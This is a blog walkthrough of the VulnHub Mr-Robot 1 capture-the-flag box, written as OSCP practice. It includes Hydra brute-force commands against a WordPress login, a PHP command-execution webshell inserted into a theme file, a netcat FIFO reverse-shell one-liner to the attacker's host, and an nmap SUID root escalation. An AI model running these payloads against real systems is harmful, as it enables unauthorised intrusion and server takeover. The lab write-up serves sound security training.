Mr-Robot 1 Walkthrough (OSCP Prep)

Mr-Robot 1 Walkthrough (OSCP Prep)

Introduction

Today in our OSCP Prep series, we’ll take a look at MR-ROBOT: 1 from VulnHub. This is an interesting box that requires us to elevate to root privileges, finding three separate keys along the way.


Objective

From the description of this box on VulnHub:

Based on the show, Mr. Robot.

This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find.

The VM isn't too difficult. There isn't any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.

So we have to find three separate “flags.” It’s a good bet the final flag will require root privileges.


Host Discovery

We need to find the IP address of the Mr-Robot machine before we can do anything useful. I’ll use Arp-scan to locate the target.

(ori0n@apophis) --> [ ~/mrrobot ]
  ==> $ sudo arp-scan -l
[sudo] password for ori0n:
Interface: ens33, type: EN10MB, MAC: 00:0c:29:8d:fb:0b, IPv4: 10.0.10.10
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.10.1       00:50:56:c0:00:08       VMware, Inc.
10.0.10.2       00:50:56:fb:3b:27       VMware, Inc.
10.0.10.101     00:0c:29:30:80:c3       VMware, Inc.
10.0.10.199     00:50:56:eb:d5:d0       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.243 seconds (114.13 hosts/sec). 4 responded

The target is sitting at 10.0.10.101. We’ll add an entry in /etc/hosts:

10.0.10.101       mrrobot

Scanning

Next, we need to scan for any open ports on the system.

(ori0n@apophis) --> [ ~/mrrobot ]
  ==> $ rustscan -a mrrobot -- -sV -oA scans/nmap-version
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.101:443
Open 10.0.10.101:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -oA scans/nmap-version" on ip 10.0.10.101
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-18 06:50 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 06:50
Scanning 10.0.10.101 [2 ports]
Completed Ping Scan at 06:50, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 06:50
Scanning mrrobot (10.0.10.101) [2 ports]
Discovered open port 443/tcp on 10.0.10.101
Discovered open port 80/tcp on 10.0.10.101
Completed Connect Scan at 06:50, 0.00s elapsed (2 total ports)
Initiating Service scan at 06:50
Scanning 2 services on mrrobot (10.0.10.101)
Completed Service scan at 06:50, 14.36s elapsed (2 services on 1 host)
NSE: Script scanning 10.0.10.101.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 06:50
Completed NSE at 06:50, 3.81s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 06:50
Completed NSE at 06:50, 0.05s elapsed
Nmap scan report for mrrobot (10.0.10.101)
Host is up, received syn-ack (0.00040s latency).
Scanned at 2021-08-18 06:50:24 CDT for 19s

PORT    STATE SERVICE  REASON  VERSION
80/tcp  open  http     syn-ack Apache httpd
443/tcp open  ssl/http syn-ack Apache httpd

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.16 seconds

It looks like we only have web servers to work with. Let’s start with port 80.


Enumerating HTTP – Finding the First Key

Heading over to http://mrrobot, we’re greeted with a fancy shell:

Web “shell”

We can play with the available commands, and browsing through the source reveals a 420 easter egg. However, there doesn’t seem to be much of interest to us.

Let’s see if Nikto can uncover anything relevant.

(ori0n@apophis) --> [ ~/mrrobot ]
  ==> $ nikto -h http://mrrobot | tee scans/nikto-http.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.10.101
+ Target Hostname:    mrrobot
+ Target Port:        80
+ Start Time:         2021-08-18 07:02:28 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /readme: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://mrrobot/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A WordPress installation was found.
+ /wp-admin/wp-login.php: WordPress login found
+ /blog/wp-login.php: WordPress login found
+ /wp-login.php: WordPress login found
+ 7373 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2021-08-18 07:05:36 (GMT-5) (188 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

There are a few points of note here: an admin directory, a robots.txt, and a strong indication that a WordPress blog is running on this site.

The admin directory appears to be nothing more than a mirror of the front page. The robots.txt file, however, is much more interesting:

User-agent: *
fsocity.dic
key-1-of-3.txt

Did we find the first key already? Let’s try to grab the file and verify.

(ori0n@apophis) --> [ ~/mrrobot/files ]
  ==> $ wget http://mrrobot/key-1-of-3.txt
--2021-08-18 08:38:16--  http://mrrobot/key-1-of-3.txt
Resolving mrrobot (mrrobot)... 10.0.10.101
Connecting to mrrobot (mrrobot)|10.0.10.101|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/plain]
Saving to: ‘key-1-of-3.txt’

key-1-of-3.txt          100%[==============================>]      33  --.-KB/s    in 0s

2021-08-18 08:38:16 (4.00 MB/s) - ‘key-1-of-3.txt’ saved [33/33]


(ori0n@apophis) --> [ ~/mrrobot/files ]
  ==> $ cat key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9

One down, two to go.

Let’s not forget about the other juicy-looking file. Let’s fetch that as well and take a look.

(ori0n@apophis) --> [ ~/mrrobot/files ]
  ==> $ wget http://mrrobot/fsocity.dic
--2021-08-18 09:06:21--  http://mrrobot/fsocity.dic
Resolving mrrobot (mrrobot)... 10.0.10.101
Connecting to mrrobot (mrrobot)|10.0.10.101|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7245381 (6.9M) [text/x-c]
Saving to: ‘fsocity.dic’

fsocity.dic             100%[==============================>]   6.91M  --.-KB/s    in 0.1s

2021-08-18 09:06:21 (68.7 MB/s) - ‘fsocity.dic’ saved [7245381/7245381]


(ori0n@apophis) --> [ ~/mrrobot/files ]
  ==> $ wc -l fsocity.dic
858160 fsocity.dic

(ori0n@apophis) --> [ ~/mrrobot/files ]
  ==> $ head fsocity.dic
true
false
wikia
from
the
now
Wikia
extensions
scss
window

This appears to be a wordlist. It will likely come in handy to proceed further on this machine, but it is quite large. We should first remove any duplicates from the dictionary.

(ori0n@apophis) --> [ ~/mrrobot/files ]
  ==> $ sort -u fsocity.dic > wordlist.txt

(ori0n@apophis) --> [ ~/mrrobot/files ]
  ==> $ wc -l fsocity.dic wordlist.txt
 858160 fsocity.dic
  11451 wordlist.txt
 869611 total

And we’ve managed to trim 98% of the fat from the file.


Digging Into WordPress

An empty WordPress blog

Navigating to one of the WordPress pages identified by Nikto, we find an empty blog; however, we can access the administration login page:

WordPress login page

Trying basic credentials such as admin:password gets us nowhere. Perhaps we could use our found dictionary file to force our way in?

Notice when we enter invalid credentials, we get a very specific error message:

Invalid username error

So the app is specifically telling us the username is invalid. We can use this flaw along with our wordlist to enumerate valid usernames on this WordPress installation.

Before we can do that, we need to know the correct POST request data being sent to the wp-login.php page. A simple way to get this information is to use the web browser’s built-in developer tools. Press F12 to bring up the dev tools, then click the “Network” tab. Attempt to log in with the credentials ADMIN:PASSWORD. Next, click the wp-login.php request within dev tools, and scroll down to view the form data.

Capturing form data in Brave Developer Tools

We can now use Hydra to enumerate usernames with its http-post-form protocol. We’ll need to provide the path to the target page, the POST request data with appropriate placeholders, and the “Invalid username” string to identify failed attempts.

(ori0n@apophis) --> [ ~/mrrobot/files ]
  ==> $ hydra -L wordlist.txt -p PASS mrrobot http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot%2Fwp-admin%2F&testcookie=1:Invalid username"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-18 16:57:01
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:11452/p:1), ~716 tries per task
[DATA] attacking http-post-form://mrrobot:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot%2Fwp-admin%2F&testcookie=1:Invalid username
[STATUS] 3613.00 tries/min, 3613 tries in 00:01h, 7839 to do in 00:03h, 16 active
[80][http-post-form] host: mrrobot   login: ELLIOT   password: PASS
[80][http-post-form] host: mrrobot   login: Elliot   password: PASS

So it looks like WordPress usernames are not case sensitive, and our target is elliot. Trying this username with any arbitrary password reveals an error we can use to identify failed logins with Hydra:

Incorrect password error

Now, we’ll re-run Hydra using the -l elliot -P wordlist.txt arguments. we’ll also use the string “is incorrect” to filter out failed passwords.

(ori0n@apophis) --> [ ~/mrrobot/files ]
  ==> $ hydra -l elliot -P wordlist.txt mrrobot http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot%2Fwp-admin%2F&testcookie=1:is incorrect"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-18 17:18:52
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:1/p:11452), ~716 tries per task
[DATA] attacking http-post-form://mrrobot:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot%2Fwp-admin%2F&testcookie=1:is incorrect
[STATUS] 3064.00 tries/min, 3064 tries in 00:01h, 8388 to do in 00:03h, 16 active
[80][http-post-form] host: mrrobot   login: elliot   password: ER28-0652
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-08-18 17:20:39

After a few minutes, we have creds: elliot:ER28-0652


Popping a Shell from WordPress

WordPress Dashboard

Logging into WordPress, it looks like we have administrative privileges. From here, there are many potential paths to get a shell on the target. We could install a terminal plugin or upload a custom malicious plugin. A quick and dirty way is to inject our own webshell into the existing PHP code of the site’s current theme.

Hover over the paintbrush icon from the sidebar on the left, then click “Editor”.

Opening the theme editor

In the editor, we’ll find a good PHP file candidate from the Templates list on the right. I’ll use footer.php. Scroll down to the end of the file and add the following PHP code:

<?php
if (isset($_GET['cmd'])) {
  echo '<pre>';
  passthru($_GET['cmd']);
  echo '</pre>';
}
?>

Click “Update File” to save. Now, if we head back to http://mrrobot/wordpress/, everything looks as normal. But if we add a ?cmd=id;ls to the end, we have command execution.

Command execution

Now, to get a reverse shell. Let’s see if we have Netcat and, if so, which version: http://mrrobot/wordpress/?cmd=which%20nc;%20nc%20-h%202%3E%261.

/bin/nc
OpenBSD netcat (Debian patchlevel 1.105-7ubuntu1)
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
    [-P proxy_username] [-p source_port] [-q seconds] [-s source]
    [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
    [-x proxy_address[:port]] [destination] [port]
  Command Summary:
    -4    Use IPv4
    -6    Use IPv6
    -b    Allow broadcast
    -C    Send CRLF as line-ending
    -D    Enable the debug socket option
    -d    Detach from stdin
    -h    This help text
    -I length   TCP receive buffer length
    -i secs     Delay interval for lines sent, ports scanned
    -j    Use jumbo frame
    -k    Keep inbound sockets open for multiple connects
    -l    Listen mode, for inbound connects
    -n    Suppress name/port resolutions
    -O length   TCP send buffer length
    -P proxyuser  Username for proxy authentication
    -p port     Specify local port for remote connects
          -q secs     quit after EOF on stdin and delay of secs
    -r    Randomize remote ports
    -S    Enable the TCP MD5 signature option
    -s addr     Local source address
    -T toskeyword   Set IP Type of Service
    -t    Answer TELNET negotiation
    -U    Use UNIX domain socket
    -u    UDP mode
    -V rtable   Specify alternate routing table
    -v    Verbose
    -w secs     Timeout for connects and final net reads
    -X proto  Proxy protocol: "4", "5" (SOCKS) or "connect"
    -x addr[:port]  Specify proxy address and port
    -Z    DCCP mode
    -z    Zero-I/O mode [used for scanning]
  Port numbers can be individual or ranges: lo-hi [inclusive]

We have the OpenBSD Netcat, so we’ll have to use the FIFO trick to push a shell over to us: rm -f /tmp/f; mkfifo /tmp/f; bash < /tmp/f | nc 10.0.10.10 4444 > /tmp/f.

Start a listener on the attacker (I’ll use port 4444), and head to the following URL:
http://mrrobot/wordpress/?cmd=rm%20-f%20/tmp/f;mkfifo%20/tmp/f;bash%20%3C%20/tmp/f|nc%2010.0.10.10%204444%3E/tmp/f

And we’ve got our shell.


Key Number Two

Our first order of business is to find the second key.

find / | grep 'key-.-of-3.txt'
/opt/bitnami/apps/wordpress/htdocs/key-1-of-3.txt
/home/robot/key-2-of-3.txt

We’ve found the second key file, but can we read it?

cd /home/robot
ls -l
total 8
-r-------- 1 robot robot 33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13  2015 password.raw-md5

So only user robot can read the key, but it looks like we can read his password hash.

cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

A quick trip to Hashes.com reveals the password:

robot hash cracked

We’ll need to use su to use this password to get a shell as robot. In order to do that, we’ll need an interactive shell. Python’s pty.spawn() will do the trick:

python -c "import pty; pty.spawn('/bin/bash')"
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959

Privilege Escalation and Key Number Three

We’ll need to escalate to root to find the third and final key. We’ll first check to see if our current user has any sudo privileges on this machine:

robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: abcdefghijklmnopqrstuvwxyz

No luck. Let’s check our kernel version and distribution:

robot@linux:~$ cat /proc/version; echo; cat /etc/*-release
cat /proc/version; echo; cat /etc/*-release
Linux version 3.13.0-55-generic (buildd@brownie) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.2 LTS"
NAME="Ubuntu"
VERSION="14.04.2 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.2 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

Searching for known exploits revealed a few potentials, but none of them were successful. Digging through Cron jobs bore nothing useful. Let’s search for any strange SUID binaries:

daemon@linux:~$ 2>/dev/null find / -perm -4000 -exec ls -l {} \;
2>/dev/null find / -perm -4000 -exec ls -l {} \;
-rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root 69120 Feb 12  2015 /bin/umount
-rwsr-xr-x 1 root root 94792 Feb 12  2015 /bin/mount
-rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root 36936 Feb 17  2014 /bin/su
-rwsr-xr-x 1 root root 47032 Feb 17  2014 /usr/bin/passwd
-rwsr-xr-x 1 root root 32464 Feb 17  2014 /usr/bin/newgrp
-rwsr-xr-x 1 root root 41336 Feb 17  2014 /usr/bin/chsh
-rwsr-xr-x 1 root root 46424 Feb 17  2014 /usr/bin/chfn
-rwsr-xr-x 1 root root 68152 Feb 17  2014 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 155008 Mar 12  2015 /usr/bin/sudo
-rwsr-xr-x 1 root root 504736 Nov 13  2015 /usr/local/bin/nmap
-rwsr-xr-x 1 root root 440416 May 12  2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
-r-sr-xr-x 1 root root 9532 Nov 13  2015 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 14320 Nov 13  2015 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 10344 Feb 25  2015 /usr/lib/pt_chown

Most of these aren’t at all out of the ordinary, but there is one that sticks out like a sore thumb: nmap.

A quick web search finds that Nmap‘s interactive mode can be a privesc vector when the binary is SUID. Let’s give it a shot.

daemon@linux:~$ /usr/local/bin/nmap --interactive
/usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !bash -p
!bash -p
bash-4.3# id
id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=0(root),1(daemon)

And we’ve got root. Now let’s find the flag.

bash-4.3# cd /root
cd /root
bash-4.3# ls -l
ls -l
total 4
-rw-r--r-- 1 root root  0 Nov 13  2015 firstboot_done
-r-------- 1 root root 33 Nov 13  2015 key-3-of-3.txt
bash-4.3# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.